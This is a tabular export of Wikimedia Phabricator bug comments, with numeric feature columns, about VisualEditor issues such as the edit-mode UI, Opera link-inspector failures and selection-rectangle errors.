222878,VisualEditor: There is not enough UI difference between reading and editing mode,*** Bug 50456 has been marked as a duplicate of this bug. ***,,,1373852659,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e53nvp2e24hk4kjigmbx,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50456 has been marked as a duplicate of this bug. ***
222872,VisualEditor: There is not enough UI difference between reading and editing mode,"Bug 48272 should help a little, changing the browser tab and title when editing. The reporter wanted a change within the content area, such as a red border while editing.",,,1369192036,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-e53nvp2e24hk4kjigmbx,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,6.0,6.0,3.0,18.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,9.0,0.0,0.0,0.0,4.147058823529412,0.8235294117647058,"Bug 48272 should help a little, changing the browser tab and title when editing. The reporter wanted a change within the content area, such as a red border while editing."
222868,VisualEditor: There is not enough UI difference between reading and editing mode,"This is somewhat of a deliberate choice - indeed, a long term goal is to be able to have no distinction at all between 'read' and 'edit' modes (except that in one you'll have a cursor) - though we may not do this for Wikimedia's servers, and certainly not soon.

I'm willing to consider suggestions about making it a little more obvious without breaking the fundamental concept that editing and reading are two halves of the same participation, but marking this as Lowest/Enhancement to reflect this.",,,1367547755,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e53nvp2e24hk4kjigmbx,task_subcomment,,True,c1,1,True,,,-9,,0.5,0.0,0.0,0.0,1.5,6.5,1.5,0.0,0.5,0.0,1.5,3.5,0.0,0.5,0.0,1.5,0.0,6.5,11.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,3.0,2.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,2.5,0.0,0.5,0.0,1.0,0.0,7.5,1.5,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,4.5,2.5,4.5,2.0,3.5,8.5,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,3.0,11.5,3.0,0.0,2.0,0.0,3.0,0.0,0.0,2.5,0.0,4.0,1.0,0.0,0.0,4.045814479638009,0.8546380090497737,"This is somewhat of a deliberate choice - indeed, a long term goal is to be able to have no distinction at all between 'read' and 'edit' modes (except that in one you'll have a cursor) - though we may not do this for Wikimedia's servers, and certainly not soon.

I'm willing to consider suggestions about making it a little more obvious without breaking the fundamental concept that editing and reading are two halves of the same participation, but marking this as Lowest/Enhancement to reflect this."
49794,VisualEditor: Link inspector doesn't open in Opera,"The link inspector doesn't open. Clicking the little button causes it to animate as if it was opening, then disappear completely.

I'm investigating.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Lowest,10.0,1367169780,1372894482.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-tsmqnxcmfpxq6jai5pux,task_description,resolved,True,c1,1,True,False,True,-10,,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,6.0,6.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,10.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.270833333333333,0.7291666666666666,"The link inspector doesn't open. Clicking the little button causes it to animate as if it was opening, then disappear completely.

I'm investigating.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
209884,VisualEditor: Link inspector doesn't open in Opera,"Sweet, link editing is now possible. Now we just need bug 47793 fixed and Opera will be basically on par with other browsers in temrs of VE support.",,,1372894482,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tsmqnxcmfpxq6jai5pux,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,10.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,13.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.903225806451613,0.967741935483871,"Sweet, link editing is now possible. Now we just need bug 47793 fixed and Opera will be basically on par with other browsers in temrs of VE support."
209878,VisualEditor: Link inspector doesn't open in Opera,"Change 61365 merged by jenkins-bot:
Revert ""Address error caused by changing focus from context menu to window.""

https://gerrit.wikimedia.org/r/61365",,,1372889290,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tsmqnxcmfpxq6jai5pux,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,15.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.1923076923076925,0.9230769230769231,"Change 61365 merged by jenkins-bot:
Revert ""Address error caused by changing focus from context menu to window.""

GERRIT_URL"
209872,VisualEditor: Link inspector doesn't open in Opera,"Ie4f1334e is just a proof-of-concept, not really a patch yet.",,,1367238767,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tsmqnxcmfpxq6jai5pux,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.25,0.875,"Ie4f1334e is just a proof-of-concept, not really a patch yet."
209867,VisualEditor: Link inspector doesn't open in Opera,Related URL: https://gerrit.wikimedia.org/r/61365 (Gerrit Change Ie4f1334e0beb7ba7d4f4aa3b42464fa219c4778c),,,1367238634,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tsmqnxcmfpxq6jai5pux,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ie4f1334e0beb7ba7d4f4aa3b42464fa219c4778c)
49793,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),"Something causes ve.ce.SurfaceObserver.prototype.stop() to be called without a subsequent call to ve.ce.SurfaceObserver.prototype.start().

Apparently happens after clicking on a link. I'm investigating.

--------------------------
**Version**: unspecified
**Severity**: normal",Lowest,10.0,1367169660,1375845262.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_description,resolved,True,c1,1,True,False,True,-10,,0.0,2.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,10.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,5.333333333333333,0.6666666666666666,"Something causes ve.ce.SurfaceObserver.prototype.stop() to be called without a subsequent call to ve.ce.SurfaceObserver.prototype.start().

Apparently happens after clicking on a link. I'm investigating.

--------------------------
**Version**: unspecified
**Severity**: normal"
209824,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),I'm hacking around mutation observers.. maybe we will get rid of SurfaceObserver soon (and get rid of those kind of problems).,,,1375851816,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,15.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.076923076923077,0.8461538461538461,I'm hacking around mutation observers.. maybe we will get rid of SurfaceObserver soon (and get rid of those kind of problems).
209818,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),Fixed a second time. Maybe. :-),,,1375845262,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,25.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.25,0.875,Fixed a second time. Maybe. :-)
209812,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),"Change 77639 merged by jenkins-bot:
Actually fix bug 47793 for Opera for real this time

https://gerrit.wikimedia.org/r/77639",,,1375845178,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.095238095238095,0.9523809523809523,"Change 77639 merged by jenkins-bot:
Actually fix bug 47793 for Opera for real this time

GERRIT_URL"
209805,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),"Change 77639 had a related patch set uploaded by Matmarex:
Actually fix bug 47793 for Opera for real this time

https://gerrit.wikimedia.org/r/77639",,,1375650620,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9583333333333334,"Change 77639 had a related patch set uploaded by Matmarex:
Actually fix bug 47793 for Opera for real this time

GERRIT_URL"
209799,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),Hooray! This shouldn't be causing issues anymore now.,,,1375118463,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.181818181818182,1.0,Hooray! This shouldn't be causing issues anymore now.
209792,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),"Change 71249 merged by jenkins-bot:
ve.ce.Surface: Prevent focus loss on the document node in Opera

https://gerrit.wikimedia.org/r/71249",,,1375118269,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.083333333333333,0.9583333333333334,"Change 71249 merged by jenkins-bot:
ve.ce.Surface: Prevent focus loss on the document node in Opera

GERRIT_URL"
209784,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),"Change 61358 abandoned by Matmarex:
Don't bind 'blur' and 'focus' on the document node in Opera

Reason:
A different approach in I7962f59bd02e0.

https://gerrit.wikimedia.org/r/61358",,,1372541828,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,23.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,11.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.942857142857143,0.8,"Change 61358 abandoned by Matmarex:
Don't bind 'blur' and 'focus' on the document node in Opera

Reason:
A different approach in I7962f59bd02e0.

GERRIT_URL"
209778,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),"Change 71249 had a related patch set uploaded by Matmarex:
ve.ce.Surface: Prevent focus loss on the document node in Opera

https://gerrit.wikimedia.org/r/71249",,,1372541790,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,22.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.296296296296297,0.9629629629629629,"Change 71249 had a related patch set uploaded by Matmarex:
ve.ce.Surface: Prevent focus loss on the document node in Opera

GERRIT_URL"
209772,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),Gotcha. Why does Opera have to be weird...,,,1367235895,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,30.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Gotcha. Why does Opera have to be weird...
209766,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),Related URL: https://gerrit.wikimedia.org/r/61358 (Gerrit Change Iaaa2a7993f3561dc663a064468c396ebfe951ce7),,,1367235847,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Iaaa2a7993f3561dc663a064468c396ebfe951ce7)
49772,VisualEditor: ve.ce.Surface.getSelectionRect() throws errors in Opera,"ve.ce.Surface.getSelectionRect() throws errors in Opera. I think this is the root cause of bug 37861 and likely various other issues.

It seems that rangySel.get{Start,End}DocumentPos consistently fails in Opera, because nativeRange.getClientRects() inside of the private createClientBoundaryPosGetter() function returns an empty collection. This causes the ""Cannot get position for range ..."" error to be thrown.

I'm still investigating the why, I'm just putting this here. Changing getSelectionRect() to just always return some static value seems to work (or at least not fail miserably anymore).

--------------------------
**Version**: unspecified
**Severity**: normal",Lowest,10.0,1367065980,1367595441.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-h4j7vw6gh3bn7a3uis4l,task_description,resolved,True,c1,1,True,False,True,-10,,1.0,0.0,0.0,1.0,1.5,5.0,0.5,0.5,0.0,0.0,1.0,1.5,0.0,0.0,0.0,2.0,1.0,8.5,7.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,6.0,0.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.5,8.0,1.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.5,0.0,0.0,0.0,3.0,1.5,8.0,2.0,1.5,5.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,2.5,7.0,2.0,0.0,1.5,0.0,2.5,0.0,1.0,0.5,0.0,2.5,0.0,1.0,0.0,4.58389423076923,0.7515625,"ve.ce.Surface.getSelectionRect() throws errors in Opera. I think this is the root cause of bug 37861 and likely various other issues.

It seems that rangySel.get{Start,End}DocumentPos consistently fails in Opera, because nativeRange.getClientRects() inside of the private createClientBoundaryPosGetter() function returns an empty collection. This causes the ""Cannot get position for range ..."" error to be thrown.

I'm still investigating the why, I'm just putting this here. Changing getSelectionRect() to just always return some static value seems to work (or at least not fail miserably anymore).

--------------------------
**Version**: unspecified
**Severity**: normal"
208273,VisualEditor: ve.ce.Surface.getSelectionRect() throws errors in Opera,The fix is merged now. Marking as fixed.,,,1367595441,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-h4j7vw6gh3bn7a3uis4l,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.3,0.9,The fix is merged now. Marking as fixed.
208267,VisualEditor: ve.ce.Surface.getSelectionRect() throws errors in Opera,(Done is PS2.),,,1367168550,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-h4j7vw6gh3bn7a3uis4l,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,(Done is PS2.)
208258,VisualEditor: ve.ce.Surface.getSelectionRect() throws errors in Opera,"Hmm, apparently this also happens for non-empty selections in some cases. We're gonna need a larger workaround...",,,1367165002,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-h4j7vw6gh3bn7a3uis4l,task_subcomment,,True,c1,1,True,,,-10,,4.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,4.041666666666667,1.0,"Hmm, apparently this also happens for non-empty selections in some cases. We're 